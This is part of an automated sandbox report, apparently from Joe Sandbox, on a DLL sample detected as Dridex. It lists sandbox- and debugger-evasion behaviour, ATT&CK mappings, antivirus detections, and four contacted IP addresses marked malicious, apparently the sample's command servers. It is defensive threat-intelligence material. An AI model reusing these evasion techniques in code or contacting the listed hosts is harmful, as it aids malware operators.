                  Source: Binary string: apphelp.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: Binary string: wuser32.pdb source: WerFault.exe, 00000007.00000003.672783661.00000000052C1000.00000004.00000001.sdmp
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E75F6A8 push esi; mov dword ptr [esp], 00000000h0_2_6E75F6A9
                  Source: initial sampleStatic PE information: section where entry point is pointing to: .rdata
                  Source: C:\Windows\SysWOW64\WerFault.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                  Malware Analysis System Evasion:

                  barindex
                  Tries to delay execution (extensive OutputDebugStringW loop)Show sources
                  Source: C:\Windows\System32\loaddll32.exeSection loaded: OutputDebugStringW count: 1411
                  Source: C:\Windows\System32\loaddll32.exeWindow / User API: threadDelayed 1411Jump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E760730 GetTokenInformation,GetSystemInfo,GetTokenInformation,0_2_6E760730
                  Source: Amcache.hve.7.drBinary or memory string: VMware
                  Source: Amcache.hve.7.drBinary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
                  Source: Amcache.hve.7.drBinary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
                  Source: Amcache.hve.7.drBinary or memory string: VMware Virtual USB Mouse
                  Source: Amcache.hve.7.drBinary or memory string: VMware-42 35 9c fb 73 fa 4e 1b-fb a4 60 e7 7b e5 4a ed
                  Source: Amcache.hve.7.drBinary or memory string: VMware, Inc.
                  Source: WerFault.exe, 00000007.00000002.691773134.0000000004E90000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAWp
                  Source: Amcache.hve.7.drBinary or memory string: VMware Virtual disk SCSI Disk Devicehbin
                  Source: Amcache.hve.7.drBinary or memory string: Microsoft Hyper-V Generation Counter
                  Source: Amcache.hve.7.drBinary or memory string: VMware7,1
                  Source: Amcache.hve.7.drBinary or memory string: NECVMWar VMware SATA CD00
                  Source: Amcache.hve.7.drBinary or memory string: VMware Virtual disk SCSI Disk Device
                  Source: Amcache.hve.7.drBinary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
                  Source: WerFault.exe, 00000007.00000003.686993932.0000000004F63000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000002.694219293.0000000004F63000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW
                  Source: Amcache.hve.7.drBinary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
                  Source: Amcache.hve.7.drBinary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
                  Source: Amcache.hve.7.drBinary or memory string: VMware, Inc.me
                  Source: Amcache.hve.7.drBinary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
                  Source: Amcache.hve.7.drBinary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E756D0C GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,0_2_6E756D0C
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E763138 RtlAddVectoredExceptionHandler,0_2_6E763138
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware2.28165.dll",#1Jump to behavior
                  Source: loaddll32.exe, 00000000.00000002.1053413526.0000000000F40000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.664234752.0000000003790000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.662485231.0000000003790000.00000002.00020000.sdmpBinary or memory string: Program Manager
                  Source: loaddll32.exe, 00000000.00000002.1053413526.0000000000F40000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.664234752.0000000003790000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.662485231.0000000003790000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
                  Source: loaddll32.exe, 00000000.00000002.1053413526.0000000000F40000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.664234752.0000000003790000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.662485231.0000000003790000.00000002.00020000.sdmpBinary or memory string: Progman
                  Source: loaddll32.exe, 00000000.00000002.1053413526.0000000000F40000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.664234752.0000000003790000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.662485231.0000000003790000.00000002.00020000.sdmpBinary or memory string: Progmanlock
                  Source: C:\Windows\System32\loaddll32.exeCode function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,0_2_6E756D0C
                  Source: C:\Windows\System32\loaddll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6E756D0C GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,0_2_6E756D0C
                  Source: Amcache.hve.7.drBinary or memory string: c:\program files\windows defender\msmpeng.exe

                  Mitre Att&ck Matrix

                  Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                  Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection12Virtualization/Sandbox Evasion11OS Credential DumpingQuery Registry1Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                  Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsProcess Injection12LSASS MemorySecurity Software Discovery31Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                  Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information1Security Account ManagerVirtualization/Sandbox Evasion11SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                  Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Rundll321NTDSProcess Discovery1Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
                  Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA SecretsApplication Window Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                  Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsAccount Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                  External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncSystem Owner/User Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                  Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemRemote System Discovery1Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                  Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadowSystem Information Discovery13Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 544258 Sample: SecuriteInfo.com.W32.AIDete... Startdate: 23/12/2021 Architecture: WINDOWS Score: 76 18 185.4.135.27 TOPHOSTGR Greece 2->18 20 85.10.248.28 HETZNER-ASDE Germany 2->20 22 2 other IPs or domains 2->22 24 Found malware configuration 2->24 26 Multi AV Scanner detection for submitted file 2->26 28 Yara detected Dridex unpacked file 2->28 30 2 other signatures 2->30 9 loaddll32.exe 1 2->9         started        signatures3 process4 signatures5 32 Tries to delay execution (extensive OutputDebugStringW loop) 9->32 12 cmd.exe 1 9->12         started        process6 process7 14 rundll32.exe 12->14         started        process8 16 WerFault.exe 23 9 14->16         started       

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  SecuriteInfo.com.W32.AIDetect.malware2.28165.dll19%VirustotalBrowse
                  SecuriteInfo.com.W32.AIDetect.malware2.28165.dll23%ReversingLabsWin32.Worm.Cridex

                  Dropped Files

                  No Antivirus matches

                  Unpacked PE Files

                  SourceDetectionScannerLabelLinkDownload
                  2.2.rundll32.exe.6e750000.2.unpack100%AviraHEUR/AGEN.1144420Download File
                  2.0.rundll32.exe.30e0000.3.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  2.2.rundll32.exe.30e0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  2.0.rundll32.exe.6e750000.5.unpack100%AviraHEUR/AGEN.1144420Download File
                  2.0.rundll32.exe.30e0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  0.2.loaddll32.exe.6e750000.2.unpack100%AviraHEUR/AGEN.1144420Download File
                  0.2.loaddll32.exe.6b0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  2.0.rundll32.exe.6e750000.2.unpack100%AviraHEUR/AGEN.1144420Download File

                  Domains

                  No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  http://www.forex-broker.websiteDVarFileInfo$0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  No contacted domains info

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://upx.sf.netAmcache.hve.7.drfalse
                    high
                    http://www.forex-broker.websiteDVarFileInfo$loaddll32.exe, 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.664536372.000000006E76F000.00000002.00020000.sdmpfalse
                    • Avira URL Cloud: safe
                    low

                    Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public

                    IPDomainCountryFlagASNASN NameMalicious
                    185.4.135.27
                    unknownGreece
                    199246TOPHOSTGRtrue
                    85.10.248.28
                    unknownGermany
                    24940HETZNER-ASDEtrue
                    80.211.3.13
                    unknownItaly
                    31034ARUBA-ASNITtrue
                    144.91.122.102
                    unknownGermany
                    51167CONTABODEtrue

                    General Information

                    Joe Sandbox Version:34.0.0 Boulder Opal
                    Analysis ID:544258
                    Start date:23.12.2021
                    Start time:00:29:38
                    Joe Sandbox Product:CloudBasic
                    Overall analysis duration:0h 6m 31s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Sample file name:SecuriteInfo.com.W32.AIDetect.malware2.28165.dll
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                    Run name:Run with higher sleep bypass
                    Number of analysed new started processes analysed:23
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • HDC enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Detection:MAL
                    Classification:mal76.troj.evad.winDLL@6/6@0/4
                    EGA Information:Failed
                    HDC Information:
                    • Successful, ratio: 99.8% (good quality ratio 96.9%)
                    • Quality average: 79.5%
                    • Quality standard deviation: 26.1%
                    HCA Information:Failed
                    Cookbook Comments:
                    • Adjust boot time
                    • Enable AMSI
                    • Sleeps bigger than 120000ms are automatically reduced to 1000ms
                    • Found application associated with file extension: .dll
                    Warnings:
                    Show All
                    • Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, WerFault.exe, UpdateNotificationMgr.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                    • Excluded IPs from analysis (whitelisted): 20.42.65.92
                    • Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, go.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, settings-win.data.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, arc.msn.com
                    • Not all processes where analyzed, report is missing behavior information

                    Simulations

                    Behavior and APIs

                    No simulations

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                    185.4.135.27SecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                      SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                        SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                          SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                            triage_dropped_file.dllGet hashmaliciousBrowse
                              SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                triage_dropped_file.dllGet hashmaliciousBrowse
                                  triage_dropped_file.dllGet hashmaliciousBrowse
                                    SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                      SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                        SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                          triage_dropped_file.dllGet hashmaliciousBrowse
                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                              SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                  SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                    SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                      Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                        SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                          SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                            85.10.248.28SecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                              SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                  SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                    triage_dropped_file.dllGet hashmaliciousBrowse
                                                                      SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                        triage_dropped_file.dllGet hashmaliciousBrowse
                                                                          triage_dropped_file.dllGet hashmaliciousBrowse
                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                              SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                  triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                    SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                      SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                        SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                          SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                              Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                  SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                    80.211.3.13SecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                                                                      SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                                                        SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                                                          SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                              SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                  triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                    SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                      SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                        SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                          triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                              SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                  SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                      Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                                                        SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                                                          SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse

                                                                                                                                            Domains

                                                                                                                                            No context

                                                                                                                                            ASN

                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                            TOPHOSTGRSecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            ARUBA-ASNITSecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            gF1nMkOSsT0Jq.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            QkurFOUhAa.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            vEppFl04X8.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            ZTnCUycB1g.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            jJv4XYBWoC.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            xVOS8F9XiH.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            JmIEoE25N1.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            yXVganwQXW.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            KT9GKWEcbY.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            HETZNER-ASDESecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
